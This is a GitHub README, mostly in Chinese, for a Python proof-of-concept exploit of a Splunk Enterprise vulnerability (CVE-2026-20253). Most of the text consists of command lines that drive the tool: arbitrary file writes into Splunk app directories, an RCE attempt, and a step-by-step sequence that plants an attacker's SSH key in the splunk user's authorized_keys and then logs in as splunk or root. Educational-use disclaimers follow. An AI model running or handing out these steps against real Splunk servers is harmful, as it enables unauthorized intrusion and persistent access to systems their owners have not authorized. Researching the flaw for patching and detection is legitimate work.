HORKimhab/CVE-2026-20253

GitHub: HORKimhab/CVE-2026-20253

针对 Splunk Enterprise CVE-2026-20253 漏洞的 Python PoC 工具,支持任意文件写入、RCE 尝试和 SSH 密钥注入。

Stars: 0 | Forks: 0

# CVE-2026-20253 - Splunk Enterprise ## ⚡ 简易用法 仅在安全和已授权的环境中使用此项目,例如: - 本地虚拟机 - Docker 容器 - 隔离的实验室环境 - 授权的渗透测试环境 示例设置: ``` git clone https://github.com/HORKimhab/CVE-2026-20253 cd CVE-2026-20253 # 项目使用 python 遵循以下步骤 # 创建虚拟环境 python -m venv venv # 激活虚拟环境 # macOS / Linux source venv/bin/activate # Windows (Git Bash / WSL) source venv/Scripts/activate # 安装 requirements pip install -r requirements.txt ``` 示例用法: ``` # 基本检查 python3 cve-2026-20253.py -t http://target:8000 --check # 写入空/截断文件 python3 cve-2026-20253.py -t http://target:8000 --write "/tmp/pwned" # 写入文件内容 python3 cve-2026-20253.py -t http://target:8000 --write "/tmp/shell.py" --content poc-content.txt # 高级(恢复 + 内容) python3 cve-2026-20253.py -t http://target:8000 --write "/opt/splunk/etc/apps/.../payload.py" --content poc-content.txt --restore # 尝试 RCE python3 cve-2026-20253.py -t http://target:8000 --rce python3 cve-2026-20253_poc.py -t http://target:8000 \ --write "/path/to/target/file.py" \ --content poc-content.txt --restore # SSH # 生成 SSH 密钥对(如果没有的话) ssh-keygen -t ed25519 -C "poc@attacker" -f ~/.ssh/splunk_poc_key -N "" # 或者如果目标较旧则使用 RSA # ssh-keygen -t rsa -b 4096 -f ~/.ssh/splunk_poc_key -N "" cat ~/.ssh/splunk_poc_key.pub > poc-content.txt python3 cve-2026-20253_poc.py -t http://target:8000 \ --write "/home/splunk/.ssh/authorized_keys" \ --content poc-content.txt \ --restore python3 cve-2026-20253_poc.py -t http://target:8000 \ --write "/home/splunk/.ssh/authorized_keys" \ --content poc-content.txt # 确保你这边的权限正确 chmod 600 ~/.ssh/splunk_poc_key # 连接 ssh -i ~/.ssh/splunk_poc_key splunk@target_ip # 或者作为 root ssh -i ~/.ssh/splunk_poc_key root@target_ip # 步骤 1:创建目录(可能并不总是有效) python3 cve-2026-20253_poc.py -t http://target:8000 --write "/home/splunk/.ssh/.placeholder" # 步骤 2:写入 authorized_keys python3 cve-2026-20253_poc.py -t http://target:8000 --write "/home/splunk/.ssh/authorized_keys" --content poc-content.txt mkdir -p /home/splunk/.ssh chmod 700 /home/splunk/.ssh chmod 600 /home/splunk/.ssh/authorized_keys chown -R splunk:splunk /home/splunk/.ssh ``` ## 致谢与参考 - https://thehackernews.com/2026/06/critical-splunk-enterprise-flaw-lets.html - watchTowr-vs-Splunk-CVE-2026-20253: https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253 - CVE-2026-20253-0xBlackash: https://github.com/0xBlackash/CVE-2026-20253 # 📚 教育性安全研究仓库 一个用于在受控环境中学习、测试和研究网络安全概念的仓库。 ## ⚠️ 安全与法律免责声明 ## 目的 本仓库仅用于**教育和已授权的安全研究**。 旨在帮助用户了解: - 安全漏洞 - 沙盒与隔离概念 - 安全编码与防御实践 ## 仅限授权使用 仅在您已获得权限的环境中使用此仓库,例如: - 个人实验室或虚拟机 - Docker 或隔离环境 - 授权的渗透测试 - 网络安全培训或学术研究 严禁未经授权或非法使用。 ## 免责声明 作者及贡献者对本项目造成的任何损害、滥用、法律问题或损失**概不负责**。 使用本仓库即表示您同意: - 您需对自己的行为负责 - 您将合法且符合道德地使用它 - 本项目按“原样”提供,**不提供任何担保** ## 道德使用 本项目适用于: - 防御性安全研究 - 网络安全教育 - 漏洞意识培养 - 安全系统与软件研究 请遵循负责任的披露原则,并遵守所有适用法律。 ## 联系方式 如需进行负责任的披露或合作,请通过 GitHub 联系仓库维护者。
标签:CISA项目, GhostArchive, PoC, Python, 任意文件写入, 内存分配, 无后门, 暴力破解, 编程工具, 网络信息收集, 远程代码执行, 逆向工具